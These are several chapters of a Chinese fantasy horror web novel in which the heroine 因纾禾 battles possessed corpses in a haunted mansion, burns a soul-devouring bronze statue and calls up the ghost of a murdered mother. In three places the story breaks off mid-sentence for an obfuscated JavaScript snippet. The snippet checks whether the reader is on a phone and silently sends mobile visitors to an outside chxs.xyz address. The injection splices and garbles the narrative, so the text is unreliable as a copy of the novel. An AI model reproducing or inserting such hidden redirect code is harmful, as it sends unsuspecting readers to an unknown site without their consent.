纾禾迅速扯下灵堂上悬挂的红白挂布,拾起一个跌落在地的烛台,并将其绑在挂布的一端。看准时机,向沈映的方向猛地一甩,挂布的惯性将沈映紧紧缠绕数圈。 因纾禾使了个巧劲,挂布自动回旋并打了个结,随后一拉,沈映便被直接拖拽进入事先布置好的五行阵法之中。 沈映周围瞬间燃起一圈火光将她围了起来,沈映突然一声尸吼,震天动地,同地狱深处传来的哀嚎,震得他们几个顿时耳鸣头晕,因纾禾都忍不住捂住了耳朵。 角落阴暗处,传出“咯哒咯哒”声响,声音越来越大,越来越响! 突然,从那黑暗处突然冒出不一堆东西朝着他们飞快爬了过来!速度太快根本看不清是什么,直到感觉脚下刺痛,低头一看,是上百双腐烂露骨的人手死命的抓住他们!甚至还从他们的脚下往上爬! 叶澜他们拼命跺脚,四处乱跑,还用火去驱赶,可是双手难抵百手,顾得了前,顾不了后,檀玲紧张之中差点还把自己点着了! 因纾禾在阵法另一侧,见到尸手朝自己扑来,迅速用带火的挂布在地上扫了一圈,将它们暂时挡住。尸手一时无法靠近,纷纷转而攻击其他四人。 钟天元顾不上其他,用匕首对着爬上自己身体的尸手挥刺,但全是徒劳。即便把那些手砍成两半,断指断掌仍能继续疯狂爬上他的身!那些黑长的指甲如钩般,直接嵌入他的血肉之中! 因纾禾一边帮他们驱赶身上的尸手,一边观察起来,她余光之中看到一只手一直在几人之间游走,这只尸手不同于其他尸手杂乱无章,它似乎特别有规律,动作异常精准、迅速,每次出手都直指目标!闪避伤害! 而且,这只手特别眼熟,像是在哪见过。因纾禾猛地想起来,正是刚进入沈府时,叶澜踩过的那只手!她瞬间意识到,它有主人的! 因纾禾一把抓住那只尸手,直接将其烫出了一个洞。随后,她用自己刚刚被抓伤渗出的血渍,在上面画了一个符号,然后将尸手猛地扔向地面。那尸手瞬间灰溜溜地爬向左侧墙根,沿着墙根爬进一个角落。就在下一刻,角落的火光爆炸开来,伴随着一声惨叫,所有人身上的尸手顿时僵住,纷纷脱落而下。 众人颤抖着身子,环顾四周,步步谨慎,慢慢向因纾禾靠拢,生怕还会有更可怕的东西出现。 檀玲道:“这些到底是什么东西?沈映不是被控制在你的阵法里吗?为何还能操控这些邪物?” 因纾禾道:“不是她。” 檀玲疑惑道:“不是她?那她还有帮手?这院子的人不是都被沈映撕成碎片了吗?” 因纾禾道:“虽然邪尸嗜杀成性,但撕碎东西也需要力气。如果没有深仇大恨,大多数情况下,它们只会将对方咬死。” 叶澜突然想到了什么,开口道:“我们刚进来的时候,就看到一个邪尸。它只是断了一双手,也没有被撕成碎片。” 檀玲道:“可是按我们刚才的推测,这沈映如果真的是屠杀沈府的真凶,那她肯定恨死沈家了。一夜之间屠杀全家,戾气怨气必然极重,她怎么可能还会去选择撕不撕谁?” 因纾禾道:“自然不会。” 檀玲更是疑惑了:“那……” 许久未曾发言的贺云修突然开口说道:“驱邪术士。” 因纾禾道:“不错,就是那失踪的六个驱邪术士,我们第一个看见的邪尸就是其中之一,不过刚才已经被我一把火烧了。” 叶澜道:“完了完了,六个,才死了一个,他们要是一个个来,我们岂不是要被玩死了!” 因纾禾却道:“他们不会一个个来的。” 檀玲道:“为什么?” 因纾禾看向了沈映,见她已经快要支撑不住,然而仍紧紧抱住那铜像。 “因为我不允。” 她盘腿坐下,闭目凝神,口中默念:“五行之火,焰随心动,焚天破邪!” 半晌,五行阵法阵眼之中放置的宝葫芦升起橙色焰气,飘到沈映的头顶。霎时,焰气凝聚成一颗灵点,直直钻入她眉心。沈映的面容扭曲,痛苦不堪,狂吼不断。 她试图双手抱头,终于忍不住松开了铜像,手一放开,仿佛失去了某种控制。接着,她张大嘴巴,一个黑色硬物猛地弹射而出,随即倒下。 钟天元反应极快,立刻跑去捡起那个黑色物体,或许他以为这就是战利品。刚露出得意的笑容,那物体忽然飞入他的嘴中,堵住气管,随即爆炸,钟天元的半个脑袋瞬间消失。 然而,令所有人惊愕的是,钟天元竟然没有倒下。他的身体诡异地扭动着,仿佛想要咆哮,却根本发不出声音。只见鲜血如喷泉般涌出,瞬间将他全身染红,景象骇人至极。 与此同时,仿佛受到某种感应,角落里突然又有诡异的东西从阴影中爬了出来。它们身形扭曲,面目可怖,带着些许残破的装饰和衣物,明显是那些失踪的驱邪术士。 皆是之前失踪的五个驱邪术士,而此时又出现了两具新的邪尸——被咬死的黄老虎,以及刚刚爆头的钟天元。七具邪尸如恶鬼重生,场面骇人。 钟天元率先出击,直奔阵法之中。其他邪尸则朝着因纾禾几人飞扑而来,试图阻止他们干预钟天元的行动。可是就在扑过来的一瞬间,阵法内猛地飘出一簇星火,瞬间击中那些邪尸,将它们一个个点燃,火焰肆虐,直到它们完全焚烧殆尽。 而钟天元冲入阵法的瞬间,身体便被五行之火吞噬,火焰将他浑身包裹。但他依然毫不犹豫地抱起铜像。 他与沈映不同,沈映遇到害怕之物还会有反应,而钟天元就是一具被炸去了三魂七魄的死物,眼下完全是被阴物控制,他目的只有一个——将铜像从火海中带出。 铜像在他手中,忽然猛地睁开了眼睛,显然就是它在控制这具尸体逃跑。可是,还没跑几步,钟天元的身体就焚烧只剩下骨头了。 但即便如此,那具骨架依然机械般地继续奔跑,刚跑到中堂后门,骨头也终变成了灰烬。 因纾禾走近铜像时,铜像又极其突兀地长出了两条腿,想要往外逃去。因纾禾眼疾手快,立刻隔空画出一道符咒,将铜像定在了原地。 随后,因纾禾找来了一根棍子,低头在散落的骨灰中翻找一番。寻到那块血淋淋的硬物,散发着一股令人作呕的血腥气息——赫然是一块血玉,显然是被用来塞入死人口中的物件。 因纾禾想到了什么,又转身拿起铜像想要检查一番,突然就听见很嘈杂的声音:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因纾禾道:“不难看出,这沈家之所以会举行四十九次冥婚,所有的冥婚仪式都是为了沈映而办。这意味着,男方的角色需要不断更换。如果每次更换都要进行血玉交接,既复杂又麻烦。我想,这沈家最终想出了这个办法:索性塑造了一尊铜像,来代替男方。铜像的口中镶嵌着一块血玉,代替真实的男人参与冥婚。” 叶澜讶然道:“居然还能这么做?” 因纾禾道:“其实,这都是我的推测。” 她顿了顿,继续道:“不过,距离真相也应该差不多了。……邪术之所以是邪术,通常就是不按常理出牌。没有什么好奇怪的。这尊铜像吞噬了无数人的魂魄,积累了极其强大的怨气,逐渐演变成了一个可怕的大祟。然后,它再通过冥婚血玉之间的联系,控制住了沈映。沈映若真的对沈家心怀怨恨,再加上这股外力的推动,怨恨叠加,就导致了如今这般局面。” 檀玲道:“如果真是这样,那这沈家的灭门惨案,岂不就是他们自己种下的因果报应?” 因纾禾点了点头,半晌,又道:“还有,这血玉是直接镶嵌在铜像口中的,并非后天加上去的,可以推测,有人在打造这铜像的时候,就计划好了一连串的事情。” 檀玲胸有成竹道:“那肯定就是沈家找人提前打造的,他们早早就计划好了要给沈映冥婚,这些东西肯定是提前准备好的。” 因纾禾道:“非也。” 檀玲道:“我说的有何不对?” 因纾禾将那铜像举起,贴在耳旁轻轻一晃,倾听一阵,嘴唇微动,似在数着什么,半晌,道:“这个铜像里面的残魂起码有八九十个。” 9. 第 9 章 檀玲一听,瞠目咋舌:“这么多!……可是你之前不是说沈家才办了四十八次冥宴吗?加上这次,也不过是四十九次。” 叶澜此前并未听到冥宴之事,茫然道:“什么四十八场冥宴?我怎么不知道?” 檀玲道:“你先别打岔,一会再和你解释……” 突然,她脑子灵光一闪,好像一下明白过来:“我懂了!也就是说,这铜像里面的那些残魂,不全是在沈家的遇害的!其实,这个铜像在进入沈家之前,就已经被人以类似的手段做过同样的事情,吞噬了无数人的魂魄,积累了大量的怨气。正因为如此,才会有那么多的残魂困在其中!——所以说,这个铜像是有心之人送来给沈家的,还有幕后黑手!……对不对?” 檀玲扬起下巴,看向因纾禾,神情中流露出一种“看我聪明吧!快夸我!”的得意。 因纾禾顺着她的心思,点头称赞道:“不错,这脑子开窍了。” 檀玲撇嘴轻哼一声,回应道:“我一向很聪明!” 随后,因纾禾又在铜像周围画了一个火圈,将铜像和血玉一起围在其中。 因纾禾走到阵眼之处,举起她的宝葫芦,念了一声诀,火圈的火势瞬间大涨,铜像周围顿时升起一团黑烟。烟雾中浮现出几十个人脸,皆是七孔流血,面目狰狞,紫黑的双手不断相互撕扯和攀咬,惨叫声此起彼伏:“好热……好热……我要死了……放我出去……放我出去……” 那场景如同他们生前最后一刻被封入棺椁中的情景,棺椁内又闷又热……他们似乎都还不知道自己早已死去。 随着火焰的燃烧,铜像慢慢变得赤红,黑烟逐渐变成灰白色,那些本是狰狞的脸开始变得毫无表情,转而流下两行血泪,泪水逐渐清澈,那双双人脸也愈加透彻。因纾禾见状,抓了一把土,朝着火圈一撒,瞬间将火势扑灭。 “谢谢……” 五行之火化去了它们的怨气,解除了束缚,让它们有了投胎转世的机会,渐渐消失在暗空之中。 与此同时,沈映倒下之后,双手一直掐着自己的脖子,不停地抽搐。 因纾禾见状,心中一紧,迅速上前,双手扶住沈映的肩膀,试图让她稳定下来。但是却没有什么太大的效果,她一直捂着脖子作甚? 难道…… 因纾禾尝试去掰开沈映的手,果然,在指掌间隙中,看到了她脖子上有一道深紫色的勒痕,像是被人用力掐住的痕迹,看来她根本不是传闻中病死的,而是被人活活勒死的! 她猜测,应该是在沈映死的一瞬间,有阴气堵住堵在了她的体内七魄,导致了她先僵而不腐,然后才被铜像之力所利用。 于是,她迅速取下头上的发簪,按顺序划分对应七魄的位置:喜在心口、怒在肝脏、哀在肺部、惧在肾脏、爱在脾脏、恶在胃部、欲在丹田。每扎一下,沈映的表情逐渐变得缓和,抽搐的动作也渐渐减弱,气息逐渐稳定。 叶澜突然道:“你们快看,沈映脸上好像出现了什么?” 因纾禾闻言这才抬眼看向了沈映的脸,顿时大吃一惊! 沈映的脸上竟然显现出一个印记——那是魔神婺绛的诅咒印记! 她对婺绛印记自然清楚,这个印记形似一个不完整的“大”字,一端未延伸,乍一看又仿佛是一个“下”字,象征着被斩首的命运。然而,被诅咒者并非真的被斩首,而是意味着婺绛对其拥有强大的控制力,如同将脑袋捏在手中,完全支配其生死与行动。被诅咒者如同下等生物,任凭摆布,无力反抗。 可是,婺绛不是已被封印了吗?为何他的印记还会出现在沈映身上?! 难道……他逃出来了?! 因纾禾心头一震,急忙问道:“你们可知道婺绛?” 叶澜答道:“当然知道,传说中差点灭世的大魔神。” 贺云修道:“为何问起他?难不成沈家之事还能与婺绛有关?” 檀玲道:“婺绛,是不是指十五年前,差点被解封的那个婺绛?” 因纾禾讶然道:“婺绛被解封了?!” 檀玲道:“嗯!十五年前,是被一个女魔头解封的。” 因纾禾道:“怎么又出现了一个女魔头?” 叶澜点头道:“是的,确实有这么一回事。好像她还说自己是溯灵族的后裔,要回收溯灵之力。那溯灵之力,好像正是封印婺绛的关键。她把它收回,婺绛就解封了。” 因纾禾又是一惊,道:“什么?现在还有溯灵族的后裔?” 溯灵族,乃是上古神族在魂归天地后,少数滞留人界的后裔族群,曾经还统治过很长一段时间的人族。后来人族大兴,溯灵族遵循先祖的意思,逐渐归隐避世,成为独立于人族的另一族群。 溯灵氏一族,始终遵循着一项严格的禁令:禁止与凡人氏族通婚。 原因在于,凡人与神族血脉的结合,可能会导致后代的血脉异变,产生极为不稳定的情况。这些后代或许能拥有无法驾驭的强大神力,亦有可能完全失去任何能力,而这种结果无法预见,因此,溯灵族不敢冒险,明确规定禁止这种联姻。 然而,有人挑战这一禁令,生下了一个孩子,名叫婺绛。正是这位婺绛,最终走上了修炼成魔的道路。 婺绛成魔之后拥有强大之力,杀性极重,一心想要夺取天下大势,当时的人族第一氏族逐山氏只能请溯灵族出山,溯灵族为了天下苍生,施展“天道封印大阵”,溯灵族全族自愿牺牲,将灵魂与力量注入法阵,才成功打散了婺绛的三魂,七魄封印于四方大地之中。 当初,她是逐山堂池邕圣人的关门弟子,是随着师父一起出战的,这都是她亲生经历的事情。 所以,这世间不可能还会有溯灵族后裔存在! 因纾禾继续问道:“那个魔女叫什么?” 叶澜想了想,道:“好像叫陈沣仪。” “陈沣仪?” 当年溯灵族能力大,但是族群小,在人族眼中几乎与半神无异,所以他们的名字和姓氏往往都是能记住。可如今因纾禾在脑海中搜寻了半天,却没有找到与陈姓相关的溯灵族的讯息。 檀玲好奇道:“这么大的事情你居然不知道?” 因纾禾不答,反问道:“那后来呢?” 贺云修道:“后来,整个仙门全力阻止,陈沣仪最终还是解封了婺绛。不过……当时觊觎婺绛之力的还有殷家。殷家长子殷成文和她同时争夺婺绛之力,争执不下。最后,仙门全力反击,引发了天地异象。据说,天空中出现了如‘天龙吸水’般的景象,将那两位邪魔,以及婺绛的残魄,全部吞噬殆尽。” 叶澜道:“所以,按理来说,婺绛应该不会再出现了吧。” 檀玲道:“这也难说吧。你看,婺绛之前已经被封印了千年,十五年前还不是被解封,差点就乱了世道。再说,大家都说是那个天地异象带走了他们,可谁知道那异象究竟把他们带到哪里去了?万一真的又回来了呢?” 因纾禾仔细查看这个印记,发现图案是凹陷下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858783|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,而非凸起的。这让她几乎可以确定,这并非婺绛亲自下的诅咒。 若是婺绛亲自施咒,印记通常会凸起,因为他的诅咒具有强大的攻击性,即使他处于虚弱状态,为了维持威势,诅咒印记也会呈现凸出的形式。 而这个印记之所以凹陷下去,是因为因纾禾与婺绛天生相克,二者的能量相互排斥。再加上转移过来的婺绛之力已经微弱,它惧怕因纾禾,所以印记才呈现凹陷的形态。 如果不是婺绛亲自下的诅咒,那这一定是被转移的。 看样子,婺绛的神魂在十五年前的确有过苏醒,似乎还有人成为了他的信徒,被他施下了诅咒。 按婺绛的惯例,这种诅咒通常要求被诅咒者保护婺绛的安全。如果婺绛死了,被诅咒者按理也会随之死亡,只有这样,他们才能拼命保护他。 然而,现在看来,的确有人找到了活下去的办法——找替死鬼。 不过婺绛亲自下的诅咒,几乎没有解除和转移的可能,这人到底是用什么方法转移诅咒的呢? 突然,因纾禾有听到了淅淅索索的声音,转头望去,果然是那两个纸扎人,其中有一只的位置莫名变了。 因纾禾眯了眯眼,缓缓走了过去。 “怎么办,怎么办,她过来了。她不会发现我们了吧?” “我他妈真想一把火把你烧了,让你别动、别动,你非要乱动。真是要被你害死了!” “我、我也不想……可是,我、我害怕。我不想留在这里……” “想离开啊?要不要我送送你们?”因纾禾对着那两个纸扎人眨了眨眼,脸上带着笑意,“欸,刚才不是还帮着沈映和我抢铜像的吗?现在怎么装死不说话了?” 叶澜跟了上来,好奇道:“你在和谁说话?” 然后他突然“啊”了一声想到了什么,连忙走到左边的棺椁的前头,一用力将棺盖往后挪开了一个口子,他原以为因纾禾是躲在棺椁里的男人说话,可探头一看,这男人仍然没有醒。 须臾,一阵诡异阴风穿堂而起,将这灵堂的红白吊幔高高挑起,形如鬼魅,地上的轻便物品被风吹得东倒西歪,翻飞不止。那两个纸扎人也在风中“自然”被吹得摇晃,仿佛随时会被吹走。 不料因纾禾眼疾脚快,直接踩住了一个,然后吹起火折子随手一扔,直接“轰”一声,直接把另一个点燃了,那纸扎人拼命地挣扎叫唤:“啊啊啊好烫……救救我……”然而它的声音很快被风声所吞没。 此时,叶澜忍不住抱怨道:“甄姑娘,你这火怎么能乱扔呢……”他顿了顿,眉头微蹙,摸不着头脑,“这风也不是龙卷风,为什么那纸扎人还能转起来?” 因纾禾声音不疾不徐道:“看到了吗?我这火可不是普通的火,最喜欢吞噬邪气阴灵了,你刚刚听到它的惨叫了吧?怎么样,好听吗?你要不要现在也试试?” 叶澜忍不住道:“甄姑娘,你现在很冷吗?你的脚抖得好厉害!” 因纾禾不理,继续道:“我耐性有限。” 因纾禾弯下腰,迅速将脚下的纸扎人扣住,朝着院中走去,在燃烧的火圈旁停住,手横着将纸扎人放在火焰之上。 火焰像是感应到了什么,一直想要往上舔舐,然因纾禾一直很有度的让纸扎人与火焰之间保持着安全距离。 从身后又传来叶澜的声音:“甄姑娘,你的手怎么也发抖了!” 贺云修实在看不下去了,嘴角轻轻抽搐,提醒道:“不是她抖,是那纸扎人。” 10. 第 10 章 叶澜道:“哦……啊?” “饶命!饶命!别烧我!我说,我全都说……” 终于,那纸扎人松口,连连求饶。 因纾禾依然姿势未动,平静地问道:“你们什么时候进入沈府的?” 纸扎人战战兢兢道:“五、五年前。” 因纾禾继续问:“那时候沈映就死了吗?” 纸扎人肯定道:“是的。” 因纾禾再问:“她是怎么死的?” 纸扎人慌张回答:“不知,我们来的时候,就是沈府第一次办冥宴的时候,那时候沈映就已经死了。” 因纾禾道:“你们办了几次冥宴?” 纸扎人仔细回忆着,低声道:“让我想想……”然后开始数数,“一、二、三……” 因纾禾顿时打断它,换了个问题:“可都是寻活人配阴婚?” 纸扎人道:“是的。” 这纸扎人的回答基本验证了他们之前的推测。 然后,她问了最后一个问题:“谁让你们来的?” 见纸扎人犹豫了一下,因纾禾随即把它往下放了半寸,感觉到火焰的热量逼近,纸扎人顿时“咻”地抬起脚。 “因……” “说真话!” “因”字一出来,因纾禾吓了一跳,猛然想起之前它们的对话中,说因纾禾是他们的大神。 她可不想刚重生就背锅。所以,她立刻打断了纸扎人的话,目光扫向贺云修,想确认他是否真的听不到纸扎人在说什么。 贺云修原本在一旁调息,听见周围突然安静下来,睁开了眼睛,注意到了因纾禾的视线,微微一怔,还以为发生了什么,问道:“它说什么了?” 因纾禾暗道:他看起来不像是装的。 于是她收回视线,道:“没事,它说它们是五年前就就进入沈府,对于沈映生前的事情不太清楚。” 檀玲打岔道:“那你有没有问清楚,是否还有幕后黑手?” 因纾禾摇头道:“他们也不清楚幕后黑手是谁。” 纸扎人挣扎着道:“我知道,是因……” 突然,因纾禾猛地一声“哎呀”,松开了手,火光大闪。 她收回手时,不忘骂上一句:“居然咬我,真是可恶。” 随即,耳边传来凄凄惨惨的声音:“为……为什么……说了还……好毒……” 叶澜好奇道:“它咬你了?” 因纾禾点头。 叶澜又问:“纸扎人也会咬人的吗?” 因纾禾嘴上淡淡地道:“纸扎人还能杀人呢,咬人算得了什么。”此时,她的心里却一直在思考另一个问题:到底是谁在冒充她的名义做事?自己都死了上千年了,能有什么利用价值? 就在此时,脑海中突然闪过一个念头,因纾禾似乎意识到了什么。她急忙走到沈映身旁,伸手触碰她脸上的婺绛印记。 果然,触碰印记的一瞬间,传来一股陌生却又异常熟悉的能量。 那股能量并不属于沈映,异常怪异,却又令人不禁感到熟悉…… 好像是——阴阳五行术! 当年,婺绛的诅咒术极其强大,因纾禾正是为了应对婺绛的诅咒,才研发了阴阳五行术。 然而,由于时间紧迫、任务繁重,阴阳五行术并不能直接破解婺绛的诅咒,只能选择转移伤害。 在后来爆发的苍极大战中,婺绛施下诅咒术时,因纾禾启动了阴阳五行术,抱着必死的决心,将所有人受到的咒术伤害转移到自己身上。她化身为红莲离火,与婺绛展开生死决战。 最终,她战死在苍极台,虽然婺绛未死,但已几乎失去了战力。被溯灵族法阵释放出的力量成功打散了婺绛的三魂,而婺绛的七魄则封印于四方大地之中。 当初,为了防止别人滥用这项术法,转移诅咒或灾祸引发事端,因纾禾设定了严格的条件——只有灵力极为强大的人才能学成。 而且,一旦学会了阴阳五行术,施术者只能将诅咒转移到自己身上,能转移多少诅咒,完全取决于施术者的能力和根基。 她原以为这项术法早已绝迹,原因有二:其一,这术法在苍极大战中是首次使用,根本没人知晓;其二,这项术法根本没有任何利己作用,学它的人几乎可以判定是脑袋进水了! 未曾想,千年之后,竟然有人在修炼这阴阳五行术法,甚至还把她拉出来做挡箭牌。真是可恶! 因纾禾自然知道,阴阳五行术确实有可能将自身的五行分化,通过“炼制”和“转化”的方式,将诅咒的部分力量转嫁到那些恶鬼妖煞身上,从而减轻自己的负担。 这些恶鬼妖煞,可以看作是承载诅咒、替宿主“分担痛苦”或充当“替罪羊”的存在。不过,找替死鬼不过是拖延时间、延缓死亡的手段。 若对方想要活命,就需要不断地寻找替死鬼,而沈映,显然就是其中之一。 她身上的金属性,应该是被诅咒者自身分化出来的五行属性之一。只要沈映身上的人命怨念越重,就能承载更多的诅咒之力。 除了沈映,那些配阴婚的活人和沈氏满门,都是牺牲品。 因纾禾思忖片刻,试探性地问道:“请问一下,你们可曾听说过因纾禾?” 檀玲毫不犹豫地答道:“这谁不知道啊,当然知道!当今第一大祟!” 因纾禾瞬间一个趔趄,险些栽倒,半晌,她才抹了抹额头上的汗珠,语气有些颤抖地问道:“这……大,能有多大?” 叶澜说道:“近十年间,他屠戮了上千位高阶修士和尊者。还……”说到这里,他突然停了下来,表情复杂。 因纾禾更加好奇了,追问道:“还什么?” 他顿了顿,深吸了一口气,才继续说道:“还吃他们的脑袋,吸取他们的精元,手段极其残忍,神出鬼没,十分骇人。而且至今没有人能追踪到他的行踪,见过他的长相。” 因纾禾心中一紧,暗道:什么?这么变态,还吃人脑? 她强压下内心的震惊,平复一下心绪,才继续道:“那你们怎知是她?” 叶澜答道:“每次杀人的时候,都会出现一尊神像,那尊神像上有一个牌子,写的是因纾禾的生平事迹。” 因纾禾道:“哦?写的什么?” 叶澜说道:“我没亲眼见过,但听说过,似乎是记录了她是逐山堂池邕圣人的关门弟子,还有她的生辰八字和名字。” 檀玲蓦然道:“真是可笑。” 因纾禾道:“可笑?” 檀玲道:“能不可笑吗?池邕圣人的弟子之中,根本就没有姓因的!” 因纾禾又是一惊,道:“什么?!” 檀玲道:“你怎么吃惊做什么?我说错什么了吗?” 因纾禾缓了缓,道:“没有,你继续。” 檀玲突然也不知道自己要说什么了,道:“你还想听什么?” 因纾禾咬字清晰,几乎一字一句地道:“你说池邕圣人的弟子中,没有姓因的,是什么意思?” 檀玲愣了愣,随即更加奇怪地看着因纾禾,答道:“还能是什么意思?不就是字面意思吗?” 因纾禾赶紧换了一个提问方式道:“你是如何知道池邕圣人的徒弟中没有姓因的?” 檀玲似乎觉得这是常识,毫不犹豫地答道:“这还用问吗?《逐山堂录》和《苍极台录》上都有明确记载池邕圣人和他八大弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因纾禾迫切想要了解沈映的遭遇,那么就必须要给她招魂,沈映是被血玉操控,性属金,被堵在体内的七魂多半都是与金元素混为一体。 因纾禾先用灵火绕着沈映的身体转了三圈,可以去除金的邪气。接着,她又在沈映身上撒了一些土,土生金,这样可以增强七魄的力量,有助于招回她的三魂。 因纾禾首先在沈映身边放了一块铜钱,然后重新摆好供桌,从旁边取了三柱香,点燃后绕着沈映的身体转了三圈,借以沾染七魄的气息,制成引魂香。 接着,她将香插入供桌上的香炉中,开始引魂。半晌,沈映身边的铜钱突然立了起来,因纾禾知道,这是沈映的三魂归位了。 她立刻启动阵法,试图与沈映通灵。 因纾禾道:“沈映,我知你心中有怨,无法释怀。我本是外人,无法亲身感受你的痛苦,但若你愿意告知,我定会全力相助,助你走出困境,得到解脱。” 话音刚落,放置在沈映身前的铜板忽然飞速旋转了起来。 因纾禾继续道:“如果你愿意接受我的帮助,请正面回答我。” 果然,旋转的铜板开始逐渐减速,慢慢摇晃起来。 因纾禾伸手按住,铜板的字面朝上。 她微微颔首,低声道:“感谢信任。” 探人私事,需要尊重对方。只要对方愿意接纳自己,这事就好办多了。 与此同时,阵眼处的宝葫芦缓缓释放出一股清气,轻轻飘出,钻入沈映的七窍之中。 忽然,沈映睁开了眼睛。 11. 第 11 章 沈映猛然睁开眼睛,猛地坐起,面无表情地环视了一下四周,随即起身,径直朝后院方向走去。 大家紧随其后。叶澜好奇地问:“那院子究竟有什么,为什么她总是跑去那里?” 沈映走到后院,蹲下身来,开始埋头挖掘。不一会儿,她挖出了一具尸体的肉身。 因纾禾眉头一挑,居然又是一具肉身,难不成又捡到一个活人? 沈映颤抖着手,试图触碰尸体。然而,突然间,一股无形的力量猛地将她弹开,沈映随之发出一声低沉的哀嚎。 因纾禾朝前一步,问道:“我可以看看吗?” 沈映没有看她,无声的向后挪了挪,才缓缓点了点头。 得到允许,因纾禾才蹲下身子细细查看,这具肉身脸朝上,看面相,是一位中年女性,一袭残破的锦缎布衣,虽上了年纪,依旧能看出曾经是个美人。 这具肉身轻微侧卧,肤色蜡黄,背部和下半身仍被泥土覆盖,双手反绑在背后,姿势僵硬而古怪。种种迹象表明,这具肉身虽未显现腐烂,却已不再属于人世,是一具尸体。 更值得注意的是,在其颈部位置,竟也出现了一道深紫色的勒痕,其形状与大小,竟与沈映脖间的痕迹几乎如出一辙! 因纾禾想到一种可能性,就是沈映和这个人,都是被同一个人、同一件凶器勒死的! 看沈映的的反应,这具尸体身上肯定有什么线索! 因纾禾伸手触及尸体的瞬间,果然感受到与之前堵住沈映七魄时相似的阴厉之气,心头顿时一紧,警觉起来。 她心中暗想:这具尸体内弥漫着与沈映相同的阴气,显然与杀害沈映的是同一个凶手、同一件凶器,且都在相似的环境中。按理说,即使她不能像沈映一样借住血玉来吸收铜像的怨气,成为一具邪神。但是,变成一具行尸应该是没什么问题的。然而,这具尸体却被埋在这里多年。……可见,尸体身上必定有什么东西在镇压着她! 她随即唤来叶澜,将坑挖得更深更大一些,终于将那具尸体完全暴露了出来。 然后,轻轻将尸体翻了一面。 果然,尸体的双手被一根长鞭紧紧捆绑在身后。因纾禾回头一看,沈映竟被吓得向后爬去,迅速退到了两丈开外,身体不停地颤抖着。 叶澜疑惑地道:“她究竟在害怕什么?周围并没有火光。”他们从后堂来到后院,一路小心翼翼地跟随,生怕惊扰到她,连蜡烛都不敢点燃。月光微弱,他们只能勉强借助这点光线辨认周围的事物。 因纾禾心中早已了然,道:“怕的是凶器。” 邪祟最为畏惧的,往往是它们生前被杀时所用的凶器!无论那是什么,它对被害者而言,象征着死亡前的恐惧,代表着束缚、摧残,以及无法逃脱的梦魇! 她低声念了一声诀语,那条长鞭顿时松动,随即,一股奇异的气息涌动。瞬间,那具尸体仿佛被抽走了所有生气,皮肤迅速变黑、枯萎,显现出一种可怖的腐化之态。 就在此时,周围的空气中忽然多出了一个身影,悄无声息地立于一旁。 正是那位中年女子的魂魄,眼神中带着深深的哀怨与茫然。沈映随即爬向她,急切地想要抱住那一丝残存的亲情,但每次都扑了个空,她一遍遍地尝试,依旧是徒劳。 因纾禾轻声道:“想必您是沈夫人吧?” 女子微微一怔,随即点了点头,目光转向沈映,眼中满是怜惜,却又无可奈何。 檀玲感叹道:“这位沈夫人果真是美人呢。” 因纾禾接着道:“沈夫人,虽不知您经历了怎样的苦难,但必定是极为痛楚的事。今日我们冒昧打扰,实是希望能了解一些真相,还请您告知一二。您虽心怀怨愤,但未曾迷失本性,这让我们相信其中必定另有隐情。我们几人皆是受人所托而来,心怀诚意,只求能明白事情的真相。若有冒犯之处,还请您宽恕。” 沈夫人道:“姑娘客气了,你刚刚帮我解除了束缚,让我能再见见我的女儿,我已经很是感激了。只是我没想到,阿映会变成这样……你想问什么,就尽管问吧,只要你能帮助我的女儿脱离苦海。我什么都愿意做……” 沈夫人泪眼盈盈,神情十分悲痛。沈映面部扭曲,像是在哭喊,却发不出任何声音。 因纾禾道:“沈夫人,您能否告知我们,沈家到底发生了什么?为何您会被……安置在此处?” 让逝者回忆被害的那一幕,其实是极其残忍的事情。但是,揭开真相,让冤屈得到昭雪,灵魂才能得到真正的超脱。 沈夫人拭泪道:“因为我母亲与沈家老夫人是旧交,感情甚好,常有往来。所以我与沈言峰也算是青梅竹马。母亲后来问我觉得沈言峰如何,我说他为人正直,学识渊博,在世人眼里是正人君子,算得上是个好人。后来两家母亲就拿定了主意,让我们成了亲。” 檀玲点头道:“青梅竹马,母亲又是闺中密友,免去了许多婆媳之争。听起来,确实是一段美满的姻缘。” 沈夫人轻轻“呵”了一声,眼中浮现出一丝苦涩:“……美满的姻缘?是啊,当初我也是这么认为的。于是,满怀期待地嫁了过去。嫁过去之后,他对我一直相敬如宾。” 檀玲不解地问:“丈夫对妻子相敬如宾,这不是一件好事吗?” 沈夫人道:“是的,刚开始他对我真是无微不至,什么都好,哪里都好。但我的肚子却不争气,成婚十年,一直没有怀上孩子。沈老夫人经常明里暗里让我喝药,希望我早点怀上孙子,他一直在替我说话。后来,沈老夫人劝他说,不如娶个妾室续个香火,但他始终拒绝了。为此,原本很疼爱我的沈老夫人也不再待见我了,认为把我娶进门就是个错误,说我是断了他们沈家香火的扫把星。我都忍下了,因为我当时真的认为我嫁了个极好的人。” 因纾禾道:“你难道都没想过这其实不是你的问题,或许是他有问题呢?” 